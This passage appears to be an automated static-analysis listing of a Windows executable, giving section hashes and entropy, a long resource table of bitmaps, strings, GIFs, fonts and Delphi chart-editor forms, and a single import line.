.reloc	0xd5e000	0xa1634	0xa1800	ef1d8db22b07b9fa7850e81a434b0eba	False	0.4475755248645511	data	6.451176293048843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.pdata	0xe00000	0x97e9c	0x98000	99a369a6362e36d60c0e9f97b2d9f20a	False	0.4990475303248355	data	6.551197240780607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xe98000	0x1eb200	0x1eb200	824df28f30254afbfd08e4cc191a402a	False	0.3454938438533978	data	6.741958978664275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xe9cea4	0x134	data	English	United States	0.38636363636363635
RT_CURSOR	0xe9cfd8	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xe9d10c	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xe9d240	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xe9d374	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xe9d4a8	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xe9d5dc	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0xe9d710	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_BITMAP	0xe9d844	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xe9da14	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xe9dbf8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xe9ddc8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xe9df98	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xe9e168	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xe9e338	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xe9e508	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xe9e6d8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xe9e8a8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xe9ea78	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0xe9eb38	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0xe9ec18	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0xe9ecf8	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0xe9edd8	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0xe9ee98	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0xe9ef58	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0xe9f038	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0xe9f0f8	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0xe9f1d8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_BITMAP	0xe9f2c0	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0xe9f380	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	English	United States	0.34438775510204084
RT_BITMAP	0xe9f508	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.45918367346938777
RT_BITMAP	0xe9f690	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.30357142857142855
RT_BITMAP	0xe9f818	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.3392857142857143
RT_BITMAP	0xe9f9a0	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3829268292682927
RT_BITMAP	0xea0008	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.39146341463414636
RT_BITMAP	0xea0670	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3853658536585366
RT_BITMAP	0xea0cd8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0xea0e60	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.39207317073170733
RT_BITMAP	0xea14c8	0x110	Device independent bitmap graphic, 24 x 14 x 4, image size 168	English	United States	0.40808823529411764
RT_BITMAP	0xea15d8	0x110	Device independent bitmap graphic, 24 x 14 x 4, image size 168	English	United States	0.4117647058823529
RT_BITMAP	0xea16e8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.3125
RT_BITMAP	0xea1758	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.41964285714285715
RT_BITMAP	0xea17c8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.3482142857142857
RT_BITMAP	0xea1838	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.38392857142857145
RT_BITMAP	0xea18a8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.3392857142857143
RT_BITMAP	0xea1918	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.32142857142857145
RT_BITMAP	0xea1988	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.36607142857142855
RT_BITMAP	0xea19f8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.33035714285714285
RT_BITMAP	0xea1a68	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.41964285714285715
RT_BITMAP	0xea1ad8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.30357142857142855
RT_BITMAP	0xea1b48	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.33035714285714285
RT_BITMAP	0xea1bb8	0x70	Device independent bitmap graphic, 16 x 16 x 1, image size 64	English	United States	0.41964285714285715
RT_BITMAP	0xea1c28	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.41025641025641024
RT_BITMAP	0xea1d60	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.27564102564102566
RT_BITMAP	0xea1e98	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.3685897435897436
RT_BITMAP	0xea1fd0	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.3685897435897436
RT_BITMAP	0xea2108	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.34294871794871795
RT_BITMAP	0xea2240	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.3717948717948718
RT_BITMAP	0xea2378	0x104	Device independent bitmap graphic, 20 x 13 x 4, image size 156	English	United States	0.5038461538461538
RT_BITMAP	0xea247c	0x138	Device independent bitmap graphic, 28 x 13 x 4, image size 208	English	United States	0.4326923076923077
RT_BITMAP	0xea25b4	0x104	Device independent bitmap graphic, 20 x 13 x 4, image size 156	English	United States	0.5153846153846153
RT_BITMAP	0xea26b8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.4107142857142857
RT_BITMAP	0xea2840	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.3239795918367347
RT_BITMAP	0xea29c8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	English	United States	0.31887755102040816
RT_BITMAP	0xea2b50	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.30612244897959184
RT_BITMAP	0xea2cd8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	English	United States	0.32142857142857145
RT_BITMAP	0xea2e60	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.35548780487804876
RT_BITMAP	0xea34c8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.375
RT_BITMAP	0xea3650	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576	English	United States	0.44939024390243903
RT_BITMAP	0xea3cb8	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288, 16 important colors	English	United States	0.3826530612244898
RT_BITMAP	0xea3e40	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3853658536585366
RT_BITMAP	0xea44a8	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.43902439024390244
RT_BITMAP	0xea4b10	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.3794642857142857
RT_ICON	0xea4bf0	0x4c28	Device independent bitmap graphic, 128 x 256 x 8, image size 0			0.20460607304062373
RT_ICON	0xea9818	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.4031791907514451
RT_ICON	0xea9d80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.6814079422382672
RT_ICON	0xeaa628	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.517590618336887
RT_ICON	0xeab4d0	0x5c70	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9795892494929006
RT_DIALOG	0xeb1140	0x52	data			0.7682926829268293
RT_DIALOG	0xeb1194	0x52	data			0.7560975609756098
RT_STRING	0xeb11e8	0x80	data			0.6171875
RT_STRING	0xeb1268	0x3d4	data			0.4173469387755102
RT_STRING	0xeb163c	0x4d4	data			0.31957928802589
RT_STRING	0xeb1b10	0x450	data			0.3269927536231884
RT_STRING	0xeb1f60	0x2f0	data			0.42686170212765956
RT_STRING	0xeb2250	0x128	data			0.6013513513513513
RT_STRING	0xeb2378	0x280	data			0.4921875
RT_STRING	0xeb25f8	0x4c0	data			0.35855263157894735
RT_STRING	0xeb2ab8	0x560	data			0.3633720930232558
RT_STRING	0xeb3018	0x9bc	data			0.28892455858747995
RT_STRING	0xeb39d4	0x854	data			0.2687617260787992
RT_STRING	0xeb4228	0x344	data			0.4090909090909091
RT_STRING	0xeb456c	0x460	data			0.36339285714285713
RT_STRING	0xeb49cc	0x448	data			0.3476277372262774
RT_STRING	0xeb4e14	0x448	data			0.2937956204379562
RT_STRING	0xeb525c	0x544	data			0.3954005934718101
RT_STRING	0xeb57a0	0x274	data			0.4697452229299363
RT_STRING	0xeb5a14	0x380	data			0.2622767857142857
RT_STRING	0xeb5d94	0x334	AmigaOS bitmap font "x", fc_YSize 30208, 17664 elements, 2nd " ", 3rd "i"			0.424390243902439
RT_STRING	0xeb60c8	0x45c	data			0.4229390681003584
RT_STRING	0xeb6524	0x304	data			0.4365284974093264
RT_STRING	0xeb6828	0x3b0	data			0.3834745762711864
RT_STRING	0xeb6bd8	0x274	data			0.5127388535031847
RT_STRING	0xeb6e4c	0x2dc	data			0.4562841530054645
RT_STRING	0xeb7128	0x5ac	data			0.3622589531680441
RT_STRING	0xeb76d4	0x360	data			0.3784722222222222
RT_STRING	0xeb7a34	0x334	data			0.424390243902439
RT_STRING	0xeb7d68	0x358	data			0.39602803738317754
RT_STRING	0xeb80c0	0x394	data			0.3307860262008734
RT_STRING	0xeb8454	0x3e8	data			0.446
RT_STRING	0xeb883c	0x520	data			0.3445121951219512
RT_STRING	0xeb8d5c	0x3dc	data			0.3248987854251012
RT_STRING	0xeb9138	0x2b8	data			0.4870689655172414
RT_STRING	0xeb93f0	0x36c	data			0.4337899543378995
RT_STRING	0xeb975c	0x258	data			0.48833333333333334
RT_STRING	0xeb99b4	0xbc	data			0.675531914893617
RT_STRING	0xeb9a70	0x1f8	data			0.4623015873015873
RT_STRING	0xeb9c68	0x198	data			0.5588235294117647
RT_STRING	0xeb9e00	0x378	data			0.4099099099099099
RT_STRING	0xeba178	0x400	data			0.3642578125
RT_STRING	0xeba578	0x428	data			0.3768796992481203
RT_STRING	0xeba9a0	0x53c	data			0.32164179104477614
RT_STRING	0xebaedc	0x280	data			0.3265625
RT_STRING	0xebb15c	0x408	data			0.4001937984496124
RT_STRING	0xebb564	0x6d0	data			0.3256880733944954
RT_STRING	0xebbc34	0x468	data			0.3333333333333333
RT_STRING	0xebc09c	0x330	data			0.3909313725490196
RT_STRING	0xebc3cc	0x35c	data			0.3755813953488372
RT_STRING	0xebc728	0x3c4	data			0.36721991701244816
RT_STRING	0xebcaec	0x3fc	data			0.3764705882352941
RT_STRING	0xebcee8	0xd0	data			0.5288461538461539
RT_STRING	0xebcfb8	0xb8	data			0.6467391304347826
RT_STRING	0xebd070	0x2c0	data			0.46732954545454547
RT_STRING	0xebd330	0x434	data			0.3308550185873606
RT_STRING	0xebd764	0x360	data			0.38425925925925924
RT_STRING	0xebdac4	0x2ec	data			0.37566844919786097
RT_STRING	0xebddb0	0x31c	data			0.34296482412060303
RT_RCDATA	0xebe0cc	0x627e	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, datetime=2010:05:11 20:59:59], baseline, precision 8, 256x256, components 3	English	United States	0.9922265408106608
RT_RCDATA	0xec434c	0x10	data			1.5
RT_RCDATA	0xec435c	0x1536	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel	English	United States	0.6550644567219153
RT_RCDATA	0xec5894	0x359	GIF image data, version 89a, 16 x 16	English	United States	0.15635939323220538
RT_RCDATA	0xec5bf0	0x378	GIF image data, version 89a, 21 x 21	English	United States	0.5529279279279279
RT_RCDATA	0xec5f68	0x12c	GIF image data, version 89a, 10 x 12	English	United States	0.83
RT_RCDATA	0xec6094	0x129	GIF image data, version 89a, 10 x 12	English	United States	0.7575757575757576
RT_RCDATA	0xec61c0	0x4c8	GIF image data, version 89a, 24 x 24	English	United States	0.6282679738562091
RT_RCDATA	0xec6688	0x4b5	GIF image data, version 89a, 24 x 24	English	United States	0.5526970954356847
RT_RCDATA	0xec6b40	0x42e	GIF image data, version 89a, 24 x 24	English	United States	0.5112149532710281
RT_RCDATA	0xec6f70	0x42e	GIF image data, version 89a, 24 x 24	English	United States	0.4766355140186916
RT_RCDATA	0xec73a0	0x432	GIF image data, version 89a, 24 x 24	English	United States	0.5027932960893855
RT_RCDATA	0xec77d4	0x434	GIF image data, version 89a, 24 x 24	English	United States	0.4758364312267658
RT_RCDATA	0xec7c08	0x4da	GIF image data, version 89a, 24 x 24	English	United States	0.6191626409017713
RT_RCDATA	0xec80e4	0x4c1	GIF image data, version 89a, 24 x 24	English	United States	0.5825801150369762
RT_RCDATA	0xec85a8	0x449	GIF image data, version 89a, 24 x 24	English	United States	0.5077484047402006
RT_RCDATA	0xec89f4	0x455	GIF image data, version 89a, 24 x 24	English	United States	0.5067628494138864
RT_RCDATA	0xec8e4c	0x4ce	GIF image data, version 89a, 24 x 24	English	United States	0.6699186991869919
RT_RCDATA	0xec931c	0x4b9	GIF image data, version 89a, 24 x 24	English	United States	0.5665839536807279
RT_RCDATA	0xec97d8	0x32e	GIF image data, version 89a, 24 x 24	English	United States	0.9582309582309583
RT_RCDATA	0xec9b08	0x30e	GIF image data, version 89a, 24 x 24	English	United States	0.8491048593350383
RT_RCDATA	0xec9e18	0x444	GIF image data, version 89a, 24 x 24	English	United States	0.5265567765567766
RT_RCDATA	0xeca25c	0x44f	GIF image data, version 89a, 24 x 24	English	United States	0.4877606527651859
RT_RCDATA	0xeca6ac	0x4b5	GIF image data, version 89a, 24 x 24	English	United States	0.6182572614107884
RT_RCDATA	0xecab64	0x4ab	GIF image data, version 89a, 24 x 24	English	United States	0.5581589958158996
RT_RCDATA	0xecb010	0x480	GIF image data, version 89a, 24 x 24	English	United States	0.5815972222222222
RT_RCDATA	0xecb490	0x46a	GIF image data, version 89a, 24 x 24	English	United States	0.5389380530973451
RT_RCDATA	0xecb8fc	0x679	HTML document, ASCII text, with CRLF, LF line terminators	English	United States	0.46107423053711527
RT_RCDATA	0xecbf78	0xacf	GIF image data, version 89a, 32 x 32	English	United States	0.6841344416335381
RT_RCDATA	0xecca48	0xe34	GIF image data, version 89a, 105 x 141	English	United States	1.0030253025302531
RT_RCDATA	0xecd87c	0xa25	GIF image data, version 89a, 171 x 75	English	United States	1.0042356565267616
RT_RCDATA	0xece2a4	0x4b	GIF image data, version 89a, 16 x 16	English	United States	0.9733333333333334
RT_RCDATA	0xece2f0	0x3f	GIF image data, version 89a, 12 x 16	English	United States	1.0317460317460319
RT_RCDATA	0xece330	0x6e	GIF image data, version 89a, 16 x 16	English	United States	1.009090909090909
RT_RCDATA	0xece3a0	0x50	GIF image data, version 89a, 16 x 16	English	United States	1.025
RT_RCDATA	0xece3f0	0x6c	GIF image data, version 89a, 16 x 16	English	United States	1.0092592592592593
RT_RCDATA	0xece45c	0x4f	GIF image data, version 89a, 16 x 16	English	United States	1.0253164556962024
RT_RCDATA	0xece4ac	0x6f	GIF image data, version 89a, 17 x 16	English	United States	1.018018018018018
RT_RCDATA	0xece51c	0x41	GIF image data, version 89a, 15 x 15	English	United States	0.9846153846153847
RT_RCDATA	0xece560	0x3c	GIF image data, version 89a, 16 x 12	English	United States	1.0333333333333334
RT_RCDATA	0xece59c	0x69	GIF image data, version 89a, 16 x 16	English	United States	1.019047619047619
RT_RCDATA	0xece608	0x4d	GIF image data, version 89a, 16 x 16	English	United States	1.025974025974026
RT_RCDATA	0xece658	0x71	GIF image data, version 89a, 16 x 17	English	United States	1.079646017699115
RT_RCDATA	0xece6cc	0x69	GIF image data, version 89a, 16 x 16	English	United States	1.0095238095238095
RT_RCDATA	0xece738	0x4d	GIF image data, version 89a, 16 x 16	English	United States	1.025974025974026
RT_RCDATA	0xece788	0x45a	HTML document, ASCII text, with CRLF line terminators	English	United States	0.47217235188509876
RT_RCDATA	0xecebe4	0x36	GIF image data, version 89a, 1 x 1	English	United States	1.037037037037037
RT_RCDATA	0xecec1c	0x91	GIF image data, version 89a, 16 x 16	English	United States	0.8137931034482758
RT_RCDATA	0xececb0	0x82	GIF image data, version 89a, 16 x 16	English	United States	0.7769230769230769
RT_RCDATA	0xeced34	0x6c	GIF image data, version 89a, 11 x 9	English	United States	0.6944444444444444
RT_RCDATA	0xeceda0	0x9e	GIF image data, version 89a, 16 x 16	English	United States	0.8354430379746836
RT_RCDATA	0xecee40	0x6f	GIF image data, version 89a, 11 x 9	English	United States	0.7027027027027027
RT_RCDATA	0xeceeb0	0x356	GIF image data, version 89a, 16 x 16	English	United States	0.12295081967213115
RT_RCDATA	0xecf208	0x355	GIF image data, version 89a, 16 x 16	English	United States	0.123094958968347
RT_RCDATA	0xecf560	0x355	GIF image data, version 89a, 16 x 16	English	United States	0.12192262602579132
RT_RCDATA	0xecf8b8	0x361	GIF image data, version 89a, 16 x 16	English	United States	0.13179190751445086
RT_RCDATA	0xecfc1c	0x3ae	GIF image data, version 89a, 16 x 16	English	United States	0.25796178343949044
RT_RCDATA	0xecffcc	0x3b5	GIF image data, version 89a, 16 x 16	English	United States	0.291886195995785
RT_RCDATA	0xed0384	0x38c	GIF image data, version 89a, 16 x 16	English	United States	0.21585903083700442
RT_RCDATA	0xed0710	0x41a	GIF image data, version 89a, 16 x 16	English	United States	0.6266666666666667
RT_RCDATA	0xed0b2c	0x36e	GIF image data, version 89a, 16 x 16	English	United States	0.15945330296127563
RT_RCDATA	0xed0e9c	0x36d	GIF image data, version 89a, 16 x 16	English	United States	0.1573546180159635
RT_RCDATA	0xed120c	0x354	GIF image data, version 89a, 16 x 16	English	United States	0.11854460093896714
RT_RCDATA	0xed1560	0x394	GIF image data, version 89a, 16 x 16	English	United States	0.1965065502183406
RT_RCDATA	0xed18f4	0x3b0	GIF image data, version 89a, 16 x 16	English	United States	0.2552966101694915
RT_RCDATA	0xed1ca4	0x3e7	GIF image data, version 89a, 16 x 16	English	United States	0.42842842842842843
RT_RCDATA	0xed208c	0x3ee	GIF image data, version 89a, 16 x 16	English	United States	0.6272365805168986
RT_RCDATA	0xed247c	0x368	GIF image data, version 89a, 16 x 16	English	United States	0.13876146788990826
RT_RCDATA	0xed27e4	0x37f	GIF image data, version 89a, 16 x 16	English	United States	0.28044692737430166
RT_RCDATA	0xed2b64	0x37f	GIF image data, version 89a, 16 x 16	English	United States	0.27932960893854747
RT_RCDATA	0xed2ee4	0x362	GIF image data, version 89a, 16 x 16	English	United States	0.13279445727482678
RT_RCDATA	0xed3248	0x531b	ASCII text, with very long lines (16079)	English	United States	0.2575323149236193
RT_RCDATA	0xed8564	0x3457	ASCII text, with very long lines (13399), with no line terminators	English	United States	0.27718486454213
RT_RCDATA	0xedb9bc	0x38c1	ASCII text, with very long lines (14529), with no line terminators	English	United States	0.2771697983343657
RT_RCDATA	0xedf280	0xa64	ASCII text, with very long lines (2660), with no line terminators	English	United States	0.3669172932330827
RT_RCDATA	0xedfce4	0xbe1	ASCII text, with very long lines (3041), with no line terminators	English	United States	0.3909898059848734
RT_RCDATA	0xee08c8	0x134a	ASCII text, with very long lines (4938), with no line terminators	English	United States	0.24807614418793034
RT_RCDATA	0xee1c14	0x677	ASCII text, with very long lines (1655), with no line terminators	English	United States	0.313595166163142
RT_RCDATA	0xee228c	0x4cd	HTML document, ASCII text, with very long lines (1229), with no line terminators	English	United States	0.49308380797396256
RT_RCDATA	0xee275c	0x1775	ASCII text, with very long lines (6005), with no line terminators	English	United States	0.24196502914238135
RT_RCDATA	0xee3ed4	0xdcd	ASCII text, with very long lines (3533), with no line terminators	English	United States	0.3014435324087178
RT_RCDATA	0xee4ca4	0x17278	HTML document, Unicode text, UTF-8 text, with very long lines (32769)	English	United States	0.354924082665542
RT_RCDATA	0xefbf1c	0xd0f	ASCII text, with very long lines (3142)	English	United States	0.4552796889021837
RT_RCDATA	0xefcc2c	0x6ecc	ASCII text, with very long lines (28364), with no line terminators	English	United States	0.2744676350303201
RT_RCDATA	0xf03af8	0xc9c7	ASCII text, with very long lines (51655), with no line terminators	English	United States	0.24799148194753654
RT_RCDATA	0xf104c0	0x1e82	ASCII text, with very long lines (7146), with CRLF line terminators	English	United States	0.3613316261203585
RT_RCDATA	0xf12344	0xdb2	ASCII text, with CRLF line terminators	English	United States	0.32857957786651454
RT_RCDATA	0xf130f8	0x1ea0	data			0.43839285714285714
RT_RCDATA	0xf14f98	0x5c7	Delphi compiled form 'TAxisIncrement'			0.5233265720081136
RT_RCDATA	0xf15560	0x3a7	Delphi compiled form 'TAxisMaxMin'			0.5187165775401069
RT_RCDATA	0xf15908	0xc27	Delphi compiled form 'TBackImageEditor'			0.37254901960784315
RT_RCDATA	0xf16530	0x108	Delphi compiled form 'TBaseFunctionEditor'			0.7954545454545454
RT_RCDATA	0xf16638	0x311	Delphi compiled form 'TBaseSourceEditor'			0.619108280254777
RT_RCDATA	0xf1694c	0x49e	Delphi compiled form 'TBMPOptions'			0.5609137055837563
RT_RCDATA	0xf16dec	0x19b77	Delphi compiled form 'TBrushDialog'			0.6545877438648122
RT_RCDATA	0xf30964	0x2dea	Delphi compiled form 'TChartEditForm'			0.29275140377743747
RT_RCDATA	0xf33750	0x1759	Delphi compiled form 'TChartPreview'			0.3399698845574703
RT_RCDATA	0xf34eac	0x415c8	TrueType Font data, 19 tables, 1st "GPOS", 16 names, Macintosh, $g$\252 fonts 1999\251ElektraMediumTransType 3 MAC;Elektra;001.000;18/07/06 23:22:47ElektraVer	English	United States	0.10237935156133274
RT_RCDATA	0xf76474	0x5f80	TrueType Font data, 15 tables, 1st "OS/2", 21 names, Unicode	English	United States	0.3445271596858639
RT_RCDATA	0xf7c3f4	0x254	Delphi compiled form 'TEMFOptions'			0.6157718120805369
RT_RCDATA	0xf7c648	0x37e0	Delphi compiled form 'TFilterGallery'			0.9542785234899329
RT_RCDATA	0xf7fe28	0x15cf	Delphi compiled form 'TFiltersEditor'			0.33799032778076304
RT_RCDATA	0xf813f8	0x151	Delphi compiled form 'TForm1'			0.7210682492581603
RT_RCDATA	0xf8154c	0x99e	Delphi compiled form 'TFormatEditor'			0.3895207148659626
RT_RCDATA	0xf81eec	0x6cd	Delphi compiled form 'TFormPreviewPanelEditor'			0.44055140723721997
RT_RCDATA	0xf825bc	0x12ac	Delphi compiled form 'TFormTee3D'			0.34246861924686195
RT_RCDATA	0xf83868	0x3d05	Delphi compiled form 'TFormTeeAxis'			0.2504961270085142
RT_RCDATA	0xf87570	0x2853	Delphi compiled form 'TFormTeeGeneral'			0.32645548774581035
RT_RCDATA	0xf89dc4	0x1b20	Delphi compiled form 'TFormTeeLegend'			0.32171658986175117
RT_RCDATA	0xf8b8e4	0x613	Delphi compiled form 'TFormTeePage'			0.4553054662379421
RT_RCDATA	0xf8bef8	0x1034	Delphi compiled form 'TFormTeePanel'			0.3276277724204436
RT_RCDATA	0xf8cf2c	0x47c6	Delphi compiled form 'TFormTeeSeries'			0.2725590508326984
RT_RCDATA	0xf916f4	0x12fc	Delphi compiled form 'TFormTeeShape'			0.33065843621399177
RT_RCDATA	0xf929f0	0x78e	Delphi compiled form 'TFormTeeTitle'			0.4239917269906929
RT_RCDATA	0xf93180	0x9d3	Delphi compiled form 'TFormTeeWall'			0.37296222664015904
RT_RCDATA	0xf93b54	0x59a	Delphi compiled form 'TMarginsEditor'			0.39609483960948394
RT_RCDATA	0xf940f0	0x396	Delphi compiled form 'TMouseCursorEdit'			0.6089324618736384
RT_RCDATA	0xf94488	0x33c2	HTML document, ASCII text, with CRLF line terminators	Dutch	Belgium	0.20422641509433961
RT_RCDATA	0xf9784c	0xc59	Delphi compiled form 'TPenDialog'			0.4134767478645998
RT_RCDATA	0xf984a8	0x698	Delphi compiled form 'TSelectListForm'			0.3915876777251185
RT_RCDATA	0xf98b40	0x1329	Delphi compiled form 'TSeriesPointerEditor'			0.3547400611620795
RT_RCDATA	0xf99e6c	0x558	Delphi compiled form 'TStringsEditor'			0.4641812865497076
RT_RCDATA	0xf9a3c4	0x919	Delphi compiled form 'TSymbolEditor'			0.3714040360669815
RT_RCDATA	0xf9ace0	0xd076	Delphi compiled form 'TTeeAboutForm'			0.9010793389049208
RT_RCDATA	0xfa7d58	0x35d	Delphi compiled form '\016TTeeExportForm'			0.5319396051103368
RT_RCDATA	0xfa80b8	0x1c55	Delphi compiled form 'TTeeExportFormBase'			0.33655039294085204
RT_RCDATA	0xfa9d10	0xc85	Delphi compiled form 'TTeeFontEditor'			0.39469578783151327
RT_RCDATA	0xfaa998	0x514	Delphi compiled form '\016TTeeFuncEditor'			0.47
RT_RCDATA	0xfaaeac	0x3c3	Delphi compiled form '\022TTeeFunctionEditor\021TeeFunctionEditor\004Left\003>\001\003Top\003\340'			0.48078920041536866
RT_RCDATA	0xfab270	0x17c0	Delphi compiled form 'TTeeGallery'			0.3483552631578947
RT_RCDATA	0xfaca30	0x1661	Delphi compiled form 'TTeeGradientEditor'			0.3459591551754233
RT_RCDATA	0xfae094	0xa57	Delphi compiled form 'TTeeShadowEditor'			0.39856441254250097
RT_RCDATA	0xfaeaec	0x8ed	Delphi compiled form 'TTextShapeEditor'			0.4074398249452954
RT_RCDATA	0xfaf3dc	0x1cf	Delphi compiled form 'TVisualsEditor'			0.6198704103671706
RT_RCDATA	0xfaf5ac	0x3188e	data	English	United States	0.7320571332814179
RT_RCDATA	0xfe0e3c	0x4c651	data	English	United States	0.17103795623703713
RT_RCDATA	0x102d490	0x5580d	data	English	United States	0.2652239585861499
RT_GROUP_CURSOR	0x1082ca0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x1082cb4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1082cc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x1082cdc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1082cf0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1082d04	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1082d18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1082d2c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x1082d40	0x4c	data			0.8289473684210527
RT_VERSION	0x1082d8c	0x314	data	Chinese	China	0.45558375634517767

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
